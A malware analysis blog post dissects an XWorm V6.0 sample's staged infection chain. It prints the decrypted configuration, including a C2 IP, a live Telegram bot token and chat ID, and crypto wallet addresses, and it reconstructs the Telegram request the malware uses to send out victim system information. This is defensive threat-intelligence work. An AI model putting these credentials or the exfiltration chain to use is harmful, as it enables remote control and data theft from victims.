
XWorm Malware Analysis
What's XWorm?
"Malware with wide range of capabilities ranging from RAT to ransomware." -malpedia
Background
I'll keep things simple as usual. I was browsing MalwareBazaar when a JavaScript file tagged as "XWorm" caught my eye. I downloaded it to analyze later (I had a competition, so there was no time to check for a week). This is the MalwareBazaar link for the file. It was first seen in the wild on "2025-07-23 16:04:23 UTC".
Note: All files are provided at the end of this page.
Infection Chain

None of these files were downloaded from external sources. Most of them were extracted using Base64 decoding and AES decryption.
Analysis: Dropper and Evasion Techniques
Extracting the files was straightforward for me. Instead of letting the code execute normally, I wrote the decoded bytes/scripts to files and analyzed them one by one.
Stage 1: JavaScript Dropper
Starting with the JavaScript file, it had only one purpose: extracting "DallasBoulevard.bat" into "AppData/Local/Temp" and executing it.
Stage 2: Batch File Operations
This batch file had several purposes and was obfuscated. I extracted its primary function: executing a PowerShell command. This PowerShell command uses the same batch file (in a different directory) to:
- Get the first line starting with ":::"
- Base64 decode it
- Execute it (another PowerShell command)
Stage 3: Advanced Evasion PowerShell
This PowerShell command uses advanced techniques to avoid detection:

Comments were added by me during analysis; strings were also encrypted, so I had to decrypt them.
Stage 4: Final Payload Extraction
After the PowerShell script finishes execution, it looks for "::" lines and separates them into two different executable files:
- First executable: A .NET file that is useless and does nothing
- Second executable: Decrypts bytes and executes "XWormClient.exe" (the main malware file)
This .NET executable is heavily obfuscated. I used NetReactorSlayer to deobfuscate it, but it couldn't accomplish much. I might have done something wrong, but I was able to extract the information I needed in the end.
XWormClient Analysis
Part 1: String Decryption
All decrypted strings from the malware:
Glass0.
obf_str1 = 192.159.99.85
obf_str2 = 6000
obf_str3 = <666666>
obf_str4 = \<Xwormmm\>
obf_str5 = XWorm V6.0
obf_str6 = USB.exe
string2 = bc1qac0j3zkpqwudsezg63x37nmqv2tanpk2zys43c
obf_str7 = 0x9e335947293636ADfC39A13825Cd04244Fd0c1a9
obf_str8 = TWNsPN7sYpTSogGAnixsTDJnnPCViDQ45r
obf_str9 = 7257315662:AAGE4uU4C2ntEMTG6_foXKQLLlTndz8MhuE
obf_str10 = 440743435
Part 2: Persistence Setup
Creates a new mutex with the name: "6NW0cPlN6C2gZ2Tp"
Part 3: Main Loop
The application runs and sets itself in an infinite loop
Part 4: Network Configuration
Sets up network connection (DefaultConnectionLimit and other parameters are modified)
Part 5: C2 Communication
After the WebClient object is created, the malware gathers system information:
☠ [XWorm V6.0 @XCoderTools]
New Client :
41B3E62F549A81F56A43
UserName : flare
OSFullName : Microsoft Windows 10 Pro
USB : False
CPU : 13th Gen Intel i7-13650HX
GPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter
RAM : 7.98 GB
Group : XWorm V6.0
Note: This is my PC configuration (VM)
Telegram Bot C2 Communication
The malware constructs a Telegram bot API request with the following components:
[0] "https://api.telegram.org/bot"
[1] "7257315662:AAGE4uU4C2ntEMTG6_foXKQLLlTndz8MhuE"
[2] "/sendMessage?chat_id="
[3] "440743435"
[4] "&text="
[5] [System information collected above]
The Telegram API returns:
{ "ok": true, "result": { "message_id": 1132, "from": { "id": 7257315662, "is_bot": true, "first_name": "VIRUS 🦠 BOTS", "username": "Alvin0365bot" }, "chat": { "id": 440743435, "first_name": "Alvinmullar", "username": "alvinmullar", "type": "private" }, "date": 1753785840, "text": "☠ [XWorm V6.0 @XCoderTools]\n\nNew Client : \n41B3E62F549A81F56A43\n\nUserName : flare\nOSFullName : Microsoft Windows 10 Pro\nUSB : False\nCPU : 13th Gen Intel i7-13650HX\nGPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter \nRAM : 7.98 GB\nGroup : XWorm V6.0", "entities": [ { "offset": 14, "length": 12, "type": "mention" } ] } }
After sending the information, the WebClient is disposed.
Key Findings
The analysis reveals that:
- Telegram Bot C2: The malware uses a Telegram bot as its command and control infrastructure
- Secondary C2: The IP address
192.159.99.85:6000is likely used for remote connections (though I didn't investigate this deeply) - Version: This is XWorm version 6.0, which appears to be the latest version
- New Samples: All extracted files are new and have been uploaded to MalwareBazaar for further research
Indicators of Compromise (IOCs)
Network IOCs:
- IP:
192.159.99.85:6000 - Telegram Bot Token:
7257315662:AAGE4uU4C2ntEMTG6_foXKQLLlTndz8MhuE - Chat ID:
440743435 - Username:
alvinmullar - Bot Username:
Alvin0365bot
Cryptocurrency Addresses:
- Bitcoin:
bc1qac0j3zkpqwudsezg63x37nmqv2tanpk2zys43c - Ethereum:
0x9e335947293636ADfC39A13825Cd04244Fd0c1a9 - Monero:
TWNsPN7sYpTSogGAnixsTDJnnPCViDQ45r
File Hashes:
Mutex:
6NW0cPlN6C2gZ2Tp